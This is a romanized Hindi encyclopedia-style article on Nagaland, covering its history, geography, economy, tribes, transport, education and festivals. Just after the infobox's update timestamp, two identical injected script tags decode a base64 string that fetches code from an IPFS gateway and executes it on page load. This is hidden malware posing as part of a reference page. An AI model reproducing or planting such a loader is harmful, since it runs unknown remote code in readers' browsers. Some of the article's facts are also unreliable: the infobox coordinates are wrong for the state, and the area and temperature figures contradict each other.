नागालैंड
nagalaiand
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rajadhani | kohima |
rajabhasha(ean) | aangrezi, aangami, chang, kuki konyak |
sthapana | 1 disanbar, 1963 |
janasankhya | 19,88,636 [1] |
· ghanatv | 120[1] /varg kimi |
kshetraphal | 16,527 varg kimi [1] |
bhaugolik nirdeshaank | 69.4°N 99.08°E |
tapaman | 4 °C - 31 °C |
· grishm | 16 - 31 °C |
· sharad | 4 - 24 °C |
zile | 11[1] |
sabase b da nagar | dimapur |
saksharata | 67.11 [1]% |
rajyapal | padmanabh balkrishna achary |
mukhyamantri | ti. ar. jeliyaang |
vidhanasabha sadasy | 60 |
lokasabha kshetr | 1 |
uchch nyayalay | guvahati uchch nyayalay (kohima beanch) |
mukhy phasalean | chaval, makka, bajara, dal, rabar, chay adi |
bahari k diyaan | adhikarik vebasait |
adyatan | 20:34, 23 julaee 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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nagalaiand 1 disanbar, 1963 ko bharatiy sangh ka 16 vaan rajy bana. is rajhy ke poorv mean myaanmar, uthtar mean arunachal pradesh, pashchim mean asam aur dakshin mean manipur se ghira hua hai. isaki rajadhani kohima hai aur ise 'poorab ka svijaralaiand' bhi kaha jata hai. nagalaiand rajhy ka kshetraphal 16,579 varg ki.mi. hai. 2001 ka janaganana ke anusar is rajy ki abadi 19,88,636 hai. asam ghati ki sima se lage kshetr ke alava is rajhy ka kshetr adhikaanshat: paha di hai. isaki sabase ooanchi paha di ka nam saramati hai jisaki ooanchaee 3,840 mitar hai. yah parvat shriankhala nagalaiand aur mhyaanmar ke madhy ek prakritik sima rekha ka nirman deti hai. barahavian - terahavian shatabhdi mean yahaan ke nivasiyoan ka asam ke 'ahom' logoan se dhire-dhire sanpark hua, lekin isase in logoan ke rahan-sahan par koee vishesh prabhav nahian p da. unhnisavian shatabhdi mean aangrezoan ke agaman par yah rajy british prashasan ke adhin a gaya. shvantatrata ke pashchat 1957 mean yah kshetr keandrashasit pradesh ban gaya aur asam ke rajhyapal dvara isaka prashasan dekha jane laga. yah 'naga hilhs tuenasaang' kshetr kahalaya. yah prashasan nagarikoan ki ummidoan par khara nahian utara aur yahaan asantosh panapane laga. at: 1961 mean isaka nam badalakar ‘nagalaiand’ rakha gaya aur ise 'bharatiy sangh' ke rajhy ka darja diya gaya, jiska vidhivat udghatan 1 disanbar, 1963 ko hua.
bhoogol
nagalaiand ka lagabhag samoocha hissa parvatiy hai. uttar mean naga paha diyaan brahmaputr ghati se achanak lagabhag 610 mitar ki ooanchaee tak uthati haian aur usake bad dakshin-poorv disha mean inaki ooanchaee 1,800 mitar tak ho jati hai, myaanmar sima ke pas ye paha diyaan patakoee parvat shriankhala se mil jati haian aur yahaan inaki sabase ooanchi choti mauant saramati hai, jisaki ooanchaee 3,826 mitar hai. yah kshetr kee nadiyoan dvara gahare roop mean vibhakt hai- uttar mean doyaang aur dikhu, dakshin-pashchim mean barak aur dakshin-poorv mean chiandavin nadi (myaanmar mean) ki sahayak dharaean. thumb|left|250px|nagalaiand ka ek drishy
jalavayu
nagalaiand ki jalavayu manasooni hai. ausat varshik varsha 1,800 se 2,500 mimi tak hoti hai aur yah dakshin-pashchimi m aaunasoon[2] ke mahinoan mean sankeandrit hoti hai. ooanchaee ke sath-sath ausat tapaman ghatata jata hai; garmi ke dinoan mean tapaman 21° se. se 40° se. tak hota hai, jabaki shit rritu mean yah kabhi-kabhar hi 4° se, se niche jata hai, lekin adhik ooanchaee vale sthanoan mean amataur par pala p data hai. samany rup se ardrata kafi hoti hai.
vany evan prani jivan
nagalaiand ka darj van kshetr 8,629 varg kimi hai, jabaki vastavik vanachchhadit kshetr 14,221 varg kimi hai, jo samooche bhaugolik kshetr ka 85.8 pratishat hai. 1,219 mitar se kam ooanchaee par ushnakatibandhiy aur uposhnakatibandhiy sadabahar van pae jate haian, jinamean ta d jati ke vriksh, beant aur baans tatha mahogani jaisi kimati imarati lak diyoan ke vriksh pae jate haian, ooanchaee vale kshetroan mean shankudhari van milate haian. jin kshetroan mean jhoom[3] ke lie kataee ki gee hai, vahaan ooanchi ghas, narakul aur jha didar van dubara ug ae haian. vanyajiv abhayarany 222 varg kimi kshetr mean phaile hue haian. nichali paha diyoan mean gaiande, hathi, bagh, teandua, bhaloo, kee tarah ke bandar, saanbar, bhaise aur jangali saand pae jate haian. is rajy mean sahi, peangolin (shalkadhari chiantikhor), jangali kutte, lom di mushk bilav nevale bhi pae jate hai. vishal bharatiy dhanesh pakshi ki dum ke lanbe paroan ko paranparik veshabhoosha mean istemal ke lie sanbhalakar rakha jata hai.
arthavyavastha
krishi
nagalaiand moolat: krishi pradhan rajy hai. lagabhag 70 pratishat janata krishi par nirbhar hai. rajhy mean krishi kshetr ka mahathvapoorn yogadan hai. chaval yahaan ka mukhhy bhojan hai. kul krishi yogy kshetr ke 70 pratishat mean dhan ki kheti hoti hai aur rajhy ke kul khadyanhn uthpadan ka 75 pratishat chaval hai. yahaan mukhhyat: ‘shlesh aur 'barn' kheti prachalit hai, jise shthaniy taur par 'jhoom' ke nam se jana jata hai. qrarib 1,01,400 hekhteyar kshetr mean jhoom kheti aur shesh mean sidhidar kheti hoti hai. is varsh rajy ka khady uthpadan 3,86,300 mitrik tan tha. 16,57,587 hekhteyar ke kul bhoomi kshetr mean se qrarib 8,35,436 hekhteyar kshetr mean van hai. kohima zile mean 'iantanki' aur 'pulibadaje', tuenasaang mean phakim aur dimapur mean rangapahad namak vanhyajiv abhayaranhy tatha rashhtriy udyan haian.
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nagalaiand rajy ki lagabhag 90 pratishat janata krishi mean lagi hai. yahaan ki mukhy fasalean chaval (khariph chaval :701,00 hekteyar: rabi chabal: 58,900 hekteyar), makka (24,900 hekteyar), jvar-bajara (14,00 hekteyar), dalahan (matar aur phaliyaan jaisi dalean) tilahan (11,580 hekteyar) reshedar fasalean, ganna, aloo aur tanbakoo haian. lekin nagalaiand ko ab bhi p dosi rajyoan se khady-padarthoan ke ayat par nirbhar rahana p data hai. yahaan 8,16,212 ek d (3,30,450 hekteyar) bhoomi par krishi hota hai, jabaki 54,400 hekteyar bhoomi sianchit hai. urvara shakti mean kami aee hai. dakshini zile kohima ke aangami aur chakhesaang log hi sidhidar khet aur sianchaee takanikoan ka istemal karate haian. paranparik upakaranoan mean halke kudal, dab (bahupayogi bhari chakoo) aur hansiya shamil haian. maidani hissoan ko chho dakar any jagahoan par hal ka istemal nahian hota hai. vaniki ay aur rozagar ka prathamik sadhan hai.
khanij
nagalaiand mean kromiyam, nikal, kobalt, lauh ayask aur choona-patthar pae jate haian, lekin philahal sirph nimn shreni ke koyala bhandaroan ka hi khanan kiya ja raha hai. pashchimi zile vokha mean khanij tel mila hai aur asam ke pas dikhoo ghati mean tel ke risavoan se pata chalata hai ki yahaan tel ke khanan yogy bhandar maujood haian.
udyog
rajhy mean audyogikaran ki prakriya shaishavavashtha mean hai. dimapur mean ek lakh eeantean pratidin uthpadit karane ki kshamata vali 'nagalaiand maikenaijhd brikhs kanpani li.' prarambh kar di gee hai. hathakaragha aur hashtashilhp mahathvapoorn kutir udyog hai, jo adhikatar sahakari samitiyoan dvara chalae ja rahe haian. dimapur sthit nagalaiand hathakaragha aur hashtashilhp vikas nigam li. sarakar ke shvamithv vala nigam hai, jo rajhy mean hathakaragha aur hashtashilhp ke uthpadoan ko badhava dene aur unake vipanan ka kam karata hai. dimapur ke nikat ganesh mean ek audyogik vikas keandr banakar taiyar ho gaya hai. nagalaiand audyogik vikas nigam udyamiyoan ka margadarshan karata hai aur vittiy madad karane vali sabase b di sanshtha hai. dimapur ke phal aur sabhji prasanshkaran aur kolhd shtorej sanyantr ki shthapit kshamata kramash: 5 mitrik tan phal aur sabhji ke prasanshkaran aur 3000 mitrik tan pratidin ke kolhd shtorej ki hai. 1970 ke dashak ke aranbhik varshoan tak nagalaiand mean sirph bunaee, lak di ka kam, tokari nirman aur mitti ke bartan banane jaise kutir udyog hi maujood the. kachche mal, vittiy sansadhan aur bijali ki kami tatha badahal yatayat v sanchar vyavastha ne audyogik vikas mean badha pahuanchaee hai.
- audyogik keandr
rajy ke pramukh audyogik keandr dimapur mean ab ek chini mil, sharab karakhana, eet karakhana tatha telivijan phaiktri hai. rajy ke any udyogoan mean ek khaandasari mil, chaval mil, dibbaband phal sanyantr, kagaz v lugadi karakhana ek plaeevud karakhana tatha kaibinet v pharnichar banane ke karakhane shamil haian. vartaman mean yahaan sirph tin audyogik kshetr haian. rajy mean 23 resham utpadan pharm bhi sthit hai. thumb|250px|left|sh aaul banati mahila, nagalaiand
bijali
1981 mean nagalaiand ke sabhi gaanvoan mean bijali di gee thi. nagalaiand mean ab tak shat pratishat gaanvoan ko bijali di gee hai, jisamean doorashth gaanv bhi haian. vidyut utpadan mukhyat: dijal sanyantroan par nirbhar karata hai, halaanki jalavidyut utpadan mean vriddhi huee hai. nagalaiand ki bijali ka 50 pratishat se adhik hissa asam mean utpadan hota hai.
sianchaee
rajhy mean koee bhi sianchaee pariyojana nahian hai. chhoti sianchaee pariyojanaoan se mukhhyat: paha di jharanoan ki dhara modi jati hai, jo ghati mean dhan ki kheti mean sianchaee ke kam ati hai. kul sianchit kshetr 93,231.43 hekhteyar hai.
peyajal samasya
peyajal ki bahut samasya rahati hai. pine ka pani ki vyavastha sarakar karati hai, kintu phir bhi kami hi hai. yahaan ke nivasi barasat mean chhat se tapakane vale pani ko ekatr kar ke rakhate haian.
janajatiyaan
[[chitr:Woman-Mon-Nagaland.jpg|thumb|250px|mahila, mon, nagalaiand]] 'naga' log bharatiy-mangol varg ke logoan mean se hai, jo bharat ki uttar-poorvi pahadiyoan ke kshetr aur pashchimi mhyaanmar ke oopari bhag mean nivas karate haian. nagalaiand ki pramukh janajatiyaan hai- aangami, ao, chakhesaang, chaang, khiamaniuangan, kuki, konhyak, lotha, phaum, pochuri, reanghma, sangatam, sumi, yimasachuangaroo aur zeliaang adi.
bhasha
naga bhasha ek janajati se doosari janajati aur kabhi-kabhi to ek gaanv se doosare gaanv mean bhi alag ho jati hai. tathapi inhhean tibhbat, barma bhasha parivar mean vargikrit kiya gaya hai. yahaan ke nagarik hindi bhasha samajh lete haian, thodi bahut bol bhi lete haian.
parivahan
yatayat ke lie nagalaiand mukhyat: s dakoan par nirbhar hai.
s dak marg
- nagalaiand rajhy mean s dakoan ki kul lanbaee 9,860 kilomitar hai, jisamean rashhtriy rajamarg, praantiy rajamarg, zila aur gramin s dakean shamil haian.
- kul 900 se adhik gaanvoan ko s dakoan se jo da gaya hai. rajy mean 2,356 kilomitar pakki s dakean haian.
- dimapur se kohima aur phir manipur mean ianphal tak ek rashtriy rajamarg hai.
- any s dak marg mokokanchug ko asam ke amaguri se jo data hai.
[[chitr:Longwa-Nagaland.jpg|thumb|250px|left|loangava, nagalaiand]]
rel marg
- asam se dimapur se hokar guzarane vali n aaurth eest phrantiyar relave shesh bharat ke sath is rajy ka ek matr rel sanbandh hai.
- nagalaiand mean dimapur ekamatr aisa sthan hai, jahaan rel aur viman sevaean upalabhdh haian.
- kolakata se dimapur ko jo dane ke lie saphtah mean tin din iandiyan eyaralaians ki u dan sevaean upalabhdh haian.
havaee marg
- dimapur se asam ke guvahati aur pashchim bangal ke kolakata ke lie havaee sevaean upalabdh haian.
shiksha
- nagalaiand ki janasankhya ka 67.11 pratishat hissa sakshar hai, jo rashtriy ausat se adhik hai.
- kee prathamik vidyalayoan (1,299), madhyamik vidyalayayoan (358) aur uchchatar madhyamik vidyalayoan (179) ke sath- sath yahaan kee snatak star ke mahavidyalay bhi haian.
- jinamean siti k aaulej aauf arts aiand k aaumars, kohima saians k aaulej, kohima l aau k aaulej, mikokachuang l aau k aaulej, nagalaiand k aaulej aauf ejukeshan, pablik k aaulej aauf k aaumars shamil haian.
- kohima mean n aaurth eestarn hil yoonivarsiti ka parisar bhi sthit hai.
- nagalaiand mean nagalaiand vishhvavidyalay hai.
saanskritik jivan
thumb|250px|saanskritik janajivan, nagalaiand nagalaiand mean janajatiy sangathan mean kolyak ke nirankush aang (saradar) aur sema v chaang ke anuvanshik mukhiya se lekar aangami, ao, lhora aur reangama ki lokataantrik sanrachanaoan jaisi bhinnataean paee jati haian. moruang (samudayik bhavan ya yuva avivahit purushoan ka shayanagar) gaanv ka pramukh sansthan hota hai, jahaan pahale khop diya aur yuddh ke any vijay chihn taange jate the. inake stambhoan par ab bhi bagh, dhanesh, manav tatha any akritiyoan ki naqqashi ki jati hai. naga samaj mean mahilaoan ko apekshakrit ooancha aur sammanajanak sthan prapt hai. ve khetoan mean purushoan ke hi saman shartoan par kam karati haian tatha janajatiy parishadoan mean bhi unaka achchha-khasa prabhav hai. naga jivan ki ek kendriy visheshata puny ka bhoj hai, jisamean kee rasmoan ke bad mithun (gayal, b aaus fr aauntalis) ki bali di jati hai. pratyek janajati ke apane tyohar ya genna hote haian, aur naga nrity, sangit git tatha lokagitoan mean jivan ke ullas ki jhalak milati hai.
thyohar
sangit aur nrithy 'naga' janajivan ke moolabhoot aang haian. virata, suandarata, prem aur udarata ka gunagan karane vale lokagit aur lokagathaean pidhi-dar-pidhi chali ja rahi haian. isi tarah nrithy har uthsav ka mahathvapoorn hishsa hai. har thyohar par davat, nach-gana aur ulhlas hota hai. rajhy ke kuchh mahathvapoorn thyohar haian - sekarenhyi, moathsu, tokhkoo emoanga aur tulani.
paryatan shthal
pratibandhit kshetr paramit (ar.e.pi.) mean dhil dene se rajhy mean aantarrashhtriy paryatakoan ka ana-jana shuroo ho gaya hai, yahaan deshi videshi paryatak prativarsh badi sankhhya mean ate haian. paryatan sthaloan mean dvitiy vishv yuddh ka qabristan, rajy sangrahalay, kohima v dimapur ke chi diyaghar tatha kachhari shasakoan ki purani rajadhani shamil hai. yahaan lagabhag 16,000 paryatak prativarsh ate hai. [[chitr:Kohima-Nagaland.jpg|thumb|left|250px|kohima, nagalaiand]] paryatan vibhag dvara prativarsh disanbar mah ke pratham saphtah mean ‘h aaurnabil’ uthsav ayojit kiya jata hai, jisamean nagalaiand ki sabhi janajatiyaan ek sthan par akar uthsav manati haian aur apani paanraparik vashtuoan, khady padarthoan aur shilhpagat chizoan ka pradarshan karati tatha bechati haian. tin paranparik uthsavoan-
- kohima zile ke touphema mean sekarenhyi (26-27 faravari);
- loangaleang upamandal ke pogo mean monhyoo (1-3 aprail) tatha
- mokokachuang zile ke chuchuyimalaang mean moathsu (1-3 mee) ko manaye jate haian.
paryatan sthal nimn haian- thumb|250px|khonoma, nagalaiand
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vithika
- chitr:Occupation-In-Nagaland.jpg
sh aaul banati mahila, nagalaiand
- chitr:Occupation-In-Nagaland-1.jpg
sh aaul banati mahila, nagalaiand
- chitr:Occupation-In-Nagaland-3.jpg
sh aaul banati mahila, nagalaiand
- chitr:Basket-Weaving-Is-Done-By-Men-Nagaland.jpg
tokari banata adami, nagalaiand
- chitr:Basket-Weaving-Is-Done-By-Men-Nagaland-1.jpg
tokari banata adami, nagalaiand
- chitr:Breakfast-In-Nagaland.jpg
nagalaiand mean chay pite hue mahilaean aur bachche
- chitr:Life-In-Nagaland-1.jpg
anaj sukhati mahila, nagalaiand
- chitr:Woman-Cooking-Food-Nagaland.jpg
khana banati mahila, nagalaiand
- chitr:Life-In-Nagaland-2.jpg
anaj phatakarati mahila, nagalaiand
- chitr:Life-In-Nagaland-3.jpg
chaval aur bhoosi ko alag karane ka paranparik tariqa, nagalaiand
- chitr:Life-In-Nagaland-4.jpg
- chitr:Life-In-Nagaland-5.jpg
tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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